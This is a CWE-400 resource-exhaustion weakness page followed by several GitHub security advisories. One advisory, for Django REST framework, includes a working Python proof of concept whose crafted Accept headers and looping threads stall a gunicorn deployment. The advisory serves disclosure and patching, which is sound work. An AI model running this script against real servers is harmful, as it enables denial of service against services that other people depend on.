CWE-400
Weakness DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
Dimensions
- Behavior-Property: Uncontrolled
- Behavior-Type: Consumption
- Resource-Type: Resource
Mapping guidance
CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).
Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.
Modes of introduction
The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.
There are at least three distinct scenarios that can commonly lead to resource exhaustion:
Lack of throttling for the number of allocated resources.
Losing all references to a resource before reaching the shutdown stage.
Not closing/returning a resource after processing.
Resource exhaustion problems often occur due to an incorrect implementation of the following situations:
Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for releasing the resource.
Detection methods
Automated Static Analysis
Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.
Effectiveness: Limited
Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.
Effectiveness: Moderate
Fuzzing
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.
Effectiveness: Opportunistic
Notes
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.
Other
Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.
A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.
Limited resources include memory, file system storage, database connection pool entries, CPU, and others.
Content history
Suggested mappings to ISA/IEC 62443.
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability.
updated Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
updated Description, Name, Relationships
updated Description
updated Name, Relationships
updated Description, Relationships
updated Relationships
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description
updated Demonstrative_Examples
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships
updated Relationships
updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships
updated References, Type
updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes
updated Related_Attack_Patterns, Relationships
updated Description, Relationships
updated Description, References, Related_Attack_Patterns, Relationships
updated Description, Maintenance_Notes
updated Relationships
updated Related_Attack_Patterns
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships
updated Relationships
updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction
updated Observed_Examples, References
updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities
updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
7207 vulnerabilities reference this CWE, most recent first.
GHSA-33WH-FXXF-88VV
Vulnerability from github – Published: 2026-10-22 16:17 – Updated: 2026-10-22 16:17Summary
DRF's content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django's parse_header_parameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn's default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.
Details
What happens
get_accept_list() splits the Accept header on commas with no cap on token count or total size, at rest_framework/negotiation.py:96-97.
For every token, select_renderer() calls media_type_matches() once per renderer, and each call builds fresh _MediaType objects for both sides, at rest_framework/negotiation.py:53-56 and rest_framework/utils/mediatypes.py:22-23. _MediaType.__init__ calls django.utils.http.parse_header_parameters unconditionally, at rest_framework/utils/mediatypes.py:47.
When nothing matches, DRF raises NotAcceptable (406). Rendering that error response also needs a renderer, so finalize_response() runs the entire negotiation a second time through perform_content_negotiation(force=True), at rest_framework/views.py:434-437.
With the default two renderers this comes to about six parses per Accept token per request. I confirmed the count by instrumenting _MediaType with a counter: six per token, three from the normal pass and three from the forced re-negotiation.
The quadratic part is on the Django side. parse_header_parameters splits parameters with _parseparam, which handles quoted values by recounting the quote characters from the start of the string for every candidate separator, the s.count('"', 0, end) calls in django/utils/http.py. A quoted value holding k semicolons costs roughly k rescans over k characters, so a single ~8KB value takes about 31ms per parse here.
Numbers from my runs, measured as utime+stime deltas of the server process:
one token, ~9KB: 230ms server CPU 24 tokens, 216KB: 5.07s on runserver, which has no per field limit 48 tokens, 432KB: 10.08s on runserver 96 tokens, 780KB: 18.87s under gunicorn defaults
Wall time matched CPU time in every run, so this is pure CPU work. RSS stayed flat at 57MB throughout, this is a time attack and not a memory one.
A few details that matter for reproducing it:
Django rejects a single media type string longer than 10,000 chars (MAX_HEADER_LENGTH), so each token has to stay just under that. Going over gives you a ValueError and a 500, which is a different and much weaker problem.
gunicorn defaults are limit_request_field_size 8190 and limit_request_fields 100, so the working shape is 96 separate Accept fields with one ~8.1KB token each. That puts the single request ceiling near 19s, below the default 30s worker timeout, so one request alone does not get a stock gunicorn worker killed by the arbiter. It does not need to. Each request pins one sync worker for its full duration, so on two workers, two held connections wedge the service.
order_by_precedence collects tokens into a set, so identical tokens collapse and the cost mostly disappears. Each token needs its own parameter name, x0=, x1=, x2= and so on.
Where a fix could go, either of these alone would be enough:
Parse each Accept token once per request and reuse the result in the matching loop and in the 406 re-negotiation.
Put an aggregate budget in get_accept_list(), say 8KB total or 64 tokens, and treat anything past it as not acceptable.
The quadratic behavior itself lives in Django's parser, but DRF is the one calling it six times per token with no cap on how many tokens there are, so both fixes look like DRF changes to me.
PoC
Verified end to end on Docker Desktop for macOS (Apple Silicon, 8 cores), python:3.13-slim image, Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0. Nothing was configured beyond defaults.
Minimal target, any default DRF project works, this is the one I used.
requirements.txt:
django==6.1
djangorestframework==3.18.0
gunicorn==26.0.0
pocproj/settings.py:
SECRET_KEY = 'poc'; DEBUG = False; ALLOWED_HOSTS = ['*']
INSTALLED_APPS = ['django.contrib.contenttypes', 'django.contrib.auth', 'rest_framework']
ROOT_URLCONF = 'pocproj.urls'; WSGI_APPLICATION = 'pocproj.wsgi.application'
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': ':memory:'}}
USE_TZ = True
pocproj/api.py:
from rest_framework.views import APIView
from rest_framework.response import Response
class Items(APIView):
def get(self, request):
return Response([{'id': 1, 'name': 'ok'}])
pocproj/urls.py:
from django.urls import path
from .api import Items
urlpatterns = [path('items/', Items.as_view())]
Start it:
python manage.py migrate --noinput
gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2
Client, stdlib only, run with python3:
import http.client, threading, time
TARGET = ('localhost', 8000)
def fields(n=96, semis=8100):
# 8100 semicolons keeps each field under gunicorn's limit_request_field_size
# (8190) and each token under Django's MAX_HEADER_LENGTH (10000). Distinct
# x{i} names stop order_by_precedence from deduplicating the tokens.
return [f'text/x-poc{i}; x{i}="' + ';'*semis + '"' for i in range(n)]
def burn():
c = http.client.HTTPConnection(*TARGET, timeout=120)
c.putrequest('GET', '/items/', skip_accept_encoding=True)
for f in fields():
c.putheader('Accept', f)
c.endheaders()
r = c.getresponse(); r.read(); c.close()
return r.status
t = time.perf_counter()
print('single:', burn(), f'{time.perf_counter()-t:.2f}s')
# printed: single: 406 18.87s, baseline GET on the same endpoint is 0.03s
stop = False
def loop():
while not stop:
try:
burn()
except Exception:
pass
ts = [threading.Thread(target=loop, daemon=True) for _ in range(2)]
for x in ts:
x.start()
for _ in range(9):
time.sleep(2)
try:
c = http.client.HTTPConnection(*TARGET, timeout=3)
c.request('GET', '/items/', headers={'Accept': 'application/json'})
r = c.getresponse(); r.read(); c.close()
print('health: 200')
except Exception as e:
print('health: DEAD', type(e).__name__)
stop = True
# printed over 40s: health DEAD at t=2, 7, 12, 22, 27, 32, 37, 42, so 8 of 9
# probes hit the 3s timeout, and one 200 slipped through at t=17 while a worker
# was between requests. after stop, one more probe timed out while the in-flight
# request finished, then 200 in 0.57s.
Impact
Availability only, no confidentiality or integrity impact. Any endpoint the attacker can reach is affected, public ones with no authentication at all. On a stock gunicorn setup with two sync workers, two held connections are enough to stop the service for as long as the attacker keeps them, and one request alone costs about 19 seconds of one core. Recovery is immediate once the attack stops, there is no lasting damage.
The requests are valid HTTP and get answered with 406, so they show up in access logs, but nothing about them is malformed, so filters that look for bad requests will not catch them. DRF throttling runs before content negotiation and would cut the rate if configured, but the default configuration ships with no throttle classes, and each request that does get through still costs the full 19 seconds.
The negotiation structure, meaning the uncapped token split, the per-renderer re-parsing, and the 406 re-negotiation, has been in place since 2012. The call switched to parse_header_parameters in July 2022 in #8556. I verified the behavior on 3.18.0.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "djangorestframework"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.18.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-114138"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-22T16:17:13Z",
"nvd_published_at": "2026-10-21T21:17:56Z",
"severity": "HIGH"
},
"details": "### Summary\n\nDRF\u0027s content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django\u0027s parse_header_parameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn\u0027s default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.\n\n\n### Details\n\n#### What happens\n\nget_accept_list() splits the Accept header on commas with no cap on token count or total size, at rest_framework/negotiation.py:96-97.\n\nFor every token, select_renderer() calls media_type_matches() once per renderer, and each call builds fresh _MediaType objects for both sides, at rest_framework/negotiation.py:53-56 and rest_framework/utils/mediatypes.py:22-23. `_MediaType.__init__` calls django.utils.http.parse_header_parameters unconditionally, at rest_framework/utils/mediatypes.py:47.\n\nWhen nothing matches, DRF raises NotAcceptable (406). Rendering that error response also needs a renderer, so finalize_response() runs the entire negotiation a second time through perform_content_negotiation(force=True), at rest_framework/views.py:434-437.\n\nWith the default two renderers this comes to about six parses per Accept token per request. I confirmed the count by instrumenting _MediaType with a counter: six per token, three from the normal pass and three from the forced re-negotiation.\n\nThe quadratic part is on the Django side. parse_header_parameters splits parameters with _parseparam, which handles quoted values by recounting the quote characters from the start of the string for every candidate separator, the s.count(\u0027\"\u0027, 0, end) calls in django/utils/http.py. A quoted value holding k semicolons costs roughly k rescans over k characters, so a single ~8KB value takes about 31ms per parse here.\n\nNumbers from my runs, measured as utime+stime deltas of the server process:\n\none token, ~9KB: 230ms server CPU\n24 tokens, 216KB: 5.07s on runserver, which has no per field limit\n48 tokens, 432KB: 10.08s on runserver\n96 tokens, 780KB: 18.87s under gunicorn defaults\n\nWall time matched CPU time in every run, so this is pure CPU work. RSS stayed flat at 57MB throughout, this is a time attack and not a memory one.\n\n#### A few details that matter for reproducing it:\n\nDjango rejects a single media type string longer than 10,000 chars (MAX_HEADER_LENGTH), so each token has to stay just under that. Going over gives you a ValueError and a 500, which is a different and much weaker problem.\n\ngunicorn defaults are limit_request_field_size 8190 and limit_request_fields 100, so the working shape is 96 separate Accept fields with one ~8.1KB token each. That puts the single request ceiling near 19s, below the default 30s worker timeout, so one request alone does not get a stock gunicorn worker killed by the arbiter. It does not need to. Each request pins one sync worker for its full duration, so on two workers, two held connections wedge the service.\n\norder_by_precedence collects tokens into a set, so identical tokens collapse and the cost mostly disappears. Each token needs its own parameter name, x0=, x1=, x2= and so on.\n\n#### Where a fix could go, either of these alone would be enough:\n\nParse each Accept token once per request and reuse the result in the matching loop and in the 406 re-negotiation.\n\nPut an aggregate budget in get_accept_list(), say 8KB total or 64 tokens, and treat anything past it as not acceptable.\n\nThe quadratic behavior itself lives in Django\u0027s parser, but DRF is the one calling it six times per token with no cap on how many tokens there are, so both fixes look like DRF changes to me.\n\n\n### PoC\n\nVerified end to end on Docker Desktop for macOS (Apple Silicon, 8 cores), python:3.13-slim image, Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0. Nothing was configured beyond defaults.\n\nMinimal target, any default DRF project works, this is the one I used.\n\nrequirements.txt:\n\n django==6.1\n djangorestframework==3.18.0\n gunicorn==26.0.0\n\npocproj/settings.py:\n```python\nSECRET_KEY = \u0027poc\u0027; DEBUG = False; ALLOWED_HOSTS = [\u0027*\u0027]\nINSTALLED_APPS = [\u0027django.contrib.contenttypes\u0027, \u0027django.contrib.auth\u0027, \u0027rest_framework\u0027]\nROOT_URLCONF = \u0027pocproj.urls\u0027; WSGI_APPLICATION = \u0027pocproj.wsgi.application\u0027\nDATABASES = {\u0027default\u0027: {\u0027ENGINE\u0027: \u0027django.db.backends.sqlite3\u0027, \u0027NAME\u0027: \u0027:memory:\u0027}}\nUSE_TZ = True\n```\n\npocproj/api.py:\n```python\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\nclass Items(APIView):\n def get(self, request):\n return Response([{\u0027id\u0027: 1, \u0027name\u0027: \u0027ok\u0027}])\n```\n\npocproj/urls.py:\n```python\nfrom django.urls import path\nfrom .api import Items\nurlpatterns = [path(\u0027items/\u0027, Items.as_view())]\n```\n\nStart it:\n\n python manage.py migrate --noinput\n gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2\n\nClient, stdlib only, run with python3:\n```python\nimport http.client, threading, time\n\nTARGET = (\u0027localhost\u0027, 8000)\n\ndef fields(n=96, semis=8100):\n # 8100 semicolons keeps each field under gunicorn\u0027s limit_request_field_size\n # (8190) and each token under Django\u0027s MAX_HEADER_LENGTH (10000). Distinct\n # x{i} names stop order_by_precedence from deduplicating the tokens.\n return [f\u0027text/x-poc{i}; x{i}=\"\u0027 + \u0027;\u0027*semis + \u0027\"\u0027 for i in range(n)]\n\ndef burn():\n c = http.client.HTTPConnection(*TARGET, timeout=120)\n c.putrequest(\u0027GET\u0027, \u0027/items/\u0027, skip_accept_encoding=True)\n for f in fields():\n c.putheader(\u0027Accept\u0027, f)\n c.endheaders()\n r = c.getresponse(); r.read(); c.close()\n return r.status\n\nt = time.perf_counter()\nprint(\u0027single:\u0027, burn(), f\u0027{time.perf_counter()-t:.2f}s\u0027)\n# printed: single: 406 18.87s, baseline GET on the same endpoint is 0.03s\n\nstop = False\n\ndef loop():\n while not stop:\n try:\n burn()\n except Exception:\n pass\n\nts = [threading.Thread(target=loop, daemon=True) for _ in range(2)]\nfor x in ts:\n x.start()\nfor _ in range(9):\n time.sleep(2)\n try:\n c = http.client.HTTPConnection(*TARGET, timeout=3)\n c.request(\u0027GET\u0027, \u0027/items/\u0027, headers={\u0027Accept\u0027: \u0027application/json\u0027})\n r = c.getresponse(); r.read(); c.close()\n print(\u0027health: 200\u0027)\n except Exception as e:\n print(\u0027health: DEAD\u0027, type(e).__name__)\nstop = True\n\n# printed over 40s: health DEAD at t=2, 7, 12, 22, 27, 32, 37, 42, so 8 of 9\n# probes hit the 3s timeout, and one 200 slipped through at t=17 while a worker\n# was between requests. after stop, one more probe timed out while the in-flight\n# request finished, then 200 in 0.57s.\n```\n\n### Impact\n\nAvailability only, no confidentiality or integrity impact. Any endpoint the attacker can reach is affected, public ones with no authentication at all. On a stock gunicorn setup with two sync workers, two held connections are enough to stop the service for as long as the attacker keeps them, and one request alone costs about 19 seconds of one core. Recovery is immediate once the attack stops, there is no lasting damage.\n\nThe requests are valid HTTP and get answered with 406, so they show up in access logs, but nothing about them is malformed, so filters that look for bad requests will not catch them. DRF throttling runs before content negotiation and would cut the rate if configured, but the default configuration ships with no throttle classes, and each request that does get through still costs the full 19 seconds.\n\nThe negotiation structure, meaning the uncapped token split, the per-renderer re-parsing, and the 406 re-negotiation, has been in place since 2012. The call switched to parse_header_parameters in July 2022 in #8556. I verified the behavior on 3.18.0.",
"id": "GHSA-33wh-fxxf-88vv",
"modified": "2026-10-22T16:17:13Z",
"published": "2026-10-22T16:17:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/encode/django-rest-framework/security/advisories/GHSA-33wh-fxxf-88vv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114138"
},
{
"type": "WEB",
"url": "https://github.com/encode/django-rest-framework/commit/148ab6523922d5a0c110f76615935e5220b63029"
},
{
"type": "PACKAGE",
"url": "https://github.com/encode/django-rest-framework"
},
{
"type": "WEB",
"url": "https://github.com/encode/django-rest-framework/releases/tag/3.18.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Django REST framework: Accept header with many large quoted parameters burns ~19s of CPU per request in content negotiation"
}
GHSA-33XW-X3PR-RVQJ
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-05-15 22:47Wikimedia MediaWiki 1.27.0 through 1.32.1 might allow DoS. Passing invalid titles to the API could cause a DoS by querying the entire watchlist table. Fixed in 1.32.2, 1.31.2, 1.30.2 and 1.27.6.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "mediawiki/core"
},
"ranges": [
{
"events": [
{
"introduced": "1.27.0"
},
{
"fixed": "1.27.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "mediawiki/core"
},
"ranges": [
{
"events": [
{
"introduced": "1.30.0"
},
{
"fixed": "1.30.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "mediawiki/core"
},
"ranges": [
{
"events": [
{
"introduced": "1.31.0"
},
{
"fixed": "1.31.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "mediawiki/core"
},
"ranges": [
{
"events": [
{
"introduced": "1.32.0"
},
{
"fixed": "1.32.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-12473"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-15T22:47:01Z",
"nvd_published_at": "2019-07-10T16:15:00Z",
"severity": "HIGH"
},
"details": "Wikimedia MediaWiki 1.27.0 through 1.32.1 might allow DoS. Passing invalid titles to the API could cause a DoS by querying the entire watchlist table. Fixed in 1.32.2, 1.31.2, 1.30.2 and 1.27.6.",
"id": "GHSA-33xw-x3pr-rvqj",
"modified": "2024-05-15T22:47:01Z",
"published": "2022-05-24T16:49:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12473"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/mediawiki/core/CVE-2019-12473.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/wikimedia/mediawiki"
},
{
"type": "WEB",
"url": "https://lists.wikimedia.org/pipermail/wikitech-l/2019-June/092152.html"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T204729"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Jun/12"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4460"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Wikimedia Potential DOS due to slow WatchedItemStore::countVisitingWatchersMultiple"
}
GHSA-33XX-P3R3-5JV7
Vulnerability from github – Published: 2026-11-08 15:31 – Updated: 2026-11-08 15:31Scriban before 7.5.3 contains a resource exhaustion vulnerability that allows untrusted template authors to exhaust memory and CPU because builtins like math.format, regex.replace and string.escape skip the LimitToString allocation guard. Attackers can submit small templates using huge format precision specifiers, shared-structure array comparison, BigInteger multiplication or exponential function recursion that ignore LoopLimit and CancellationToken, crashing or stalling multi-tenant hosts.
{
"affected": [],
"aliases": [
"CVE-2026-124437"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-08T14:18:10Z",
"severity": "HIGH"
},
"details": "Scriban before 7.5.3 contains a resource exhaustion vulnerability that allows untrusted template authors to exhaust memory and CPU because builtins like math.format, regex.replace and string.escape skip the LimitToString allocation guard. Attackers can submit small templates using huge format precision specifiers, shared-structure array comparison, BigInteger multiplication or exponential function recursion that ignore LoopLimit and CancellationToken, crashing or stalling multi-tenant hosts.",
"id": "GHSA-33xx-p3r3-5jv7",
"modified": "2026-11-08T15:31:25Z",
"published": "2026-11-08T15:31:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scriban/scriban/security/advisories/GHSA-95w2-9mjq-6c74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-124437"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/scriban-before-7.5.3-denial-of-service-via-unguarded-builtins-and-recursion"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3429-2HMM-5VVX
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-08-06 00:00A flaw was found in Privoxy in versions before 3.0.31. A memory leak that occurs when decompression fails unexpectedly may lead to a denial of service. The highest threat from this vulnerability is to system availability.
{
"affected": [],
"aliases": [
"CVE-2021-20216"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-25T19:15:00Z",
"severity": "HIGH"
},
"details": "A flaw was found in Privoxy in versions before 3.0.31. A memory leak that occurs when decompression fails unexpectedly may lead to a denial of service. The highest threat from this vulnerability is to system availability.",
"id": "GHSA-3429-2hmm-5vvx",
"modified": "2022-08-06T00:00:40Z",
"published": "2022-05-24T17:45:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20216"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1923256"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-16"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2021/01/31/2"
},
{
"type": "WEB",
"url": "https://www.privoxy.org/3.0.31/user-manual/whatsnew.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-342C-F869-5M44
Vulnerability from github – Published: 2022-05-17 05:28 – Updated: 2023-08-29 22:53The @CopyFrom operation in the POST servlet in the org.apache.sling.servlets.post bundle before 2.1.2 in Apache Sling does not prevent attempts to copy an ancestor node to a descendant node, which allows remote attackers to cause a denial of service (infinite loop) via a crafted HTTP request.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.sling:org.apache.sling.servlets.post"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2012-2138"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-29T22:53:50Z",
"nvd_published_at": "2012-07-09T22:55:00Z",
"severity": "MODERATE"
},
"details": "The `@CopyFrom` operation in the POST servlet in the `org.apache.sling.servlets.post` bundle before 2.1.2 in Apache Sling does not prevent attempts to copy an ancestor node to a descendant node, which allows remote attackers to cause a denial of service (infinite loop) via a crafted HTTP request.",
"id": "GHSA-342c-f869-5m44",
"modified": "2023-08-29T22:53:50Z",
"published": "2022-05-17T05:28:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-2138"
},
{
"type": "WEB",
"url": "https://github.com/apache/sling-org-apache-sling-servlets-post/commit/0205892908d6ea755645be5fc16e9df53e2e7261"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/SLING-2517"
},
{
"type": "WEB",
"url": "http://mail-archives.apache.org/mod_mbox/www-announce/201207.mbox/%3CCAEWfVJ=PwoQmwJg0KmbrC17Gw51kgfKRsqgy=4RpMQsdGh0bVg@mail.gmail.com%3E"
},
{
"type": "WEB",
"url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1352865"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Apache Sling POST Servlets Denial of Service Vulnerability"
}
GHSA-342P-69X7-757J
Vulnerability from github – Published: 2025-09-05 18:31 – Updated: 2025-09-05 18:31In allowPackageAccess of multiple files, resource exhaustion is possible when repeatedly adding allowed packages. This could lead to a local persistent denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2025-26463"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-04T18:15:46Z",
"severity": "MODERATE"
},
"details": "In allowPackageAccess of multiple files, resource exhaustion is possible when repeatedly adding allowed packages. This could lead to a local persistent denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-342p-69x7-757j",
"modified": "2025-09-05T18:31:18Z",
"published": "2025-09-05T18:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26463"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/4b630be2e2b30ff3c57128c660bfef6514193d25"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2025-06-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3447-4454-25P2
Vulnerability from github – Published: 2023-02-01 18:30 – Updated: 2023-02-10 03:30On BIG-IP versions 17.0.x before 17.0.0.2 and 16.1.x before 16.1.3.3, and BIG-IP SPK starting in version 1.6.0, when a client-side HTTP/2 profile and the HTTP MRF Router option are enabled for a virtual server, undisclosed requests can cause an increase in memory resource utilization. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2023-22664"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-01T18:15:00Z",
"severity": "HIGH"
},
"details": "On BIG-IP versions 17.0.x before 17.0.0.2 and 16.1.x before 16.1.3.3, and BIG-IP SPK starting in version 1.6.0, when a client-side HTTP/2 profile and the HTTP MRF Router option are enabled for a virtual server, undisclosed requests can cause an increase in memory resource utilization. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-3447-4454-25p2",
"modified": "2023-02-10T03:30:20Z",
"published": "2023-02-01T18:30:22Z",
"references": [
{
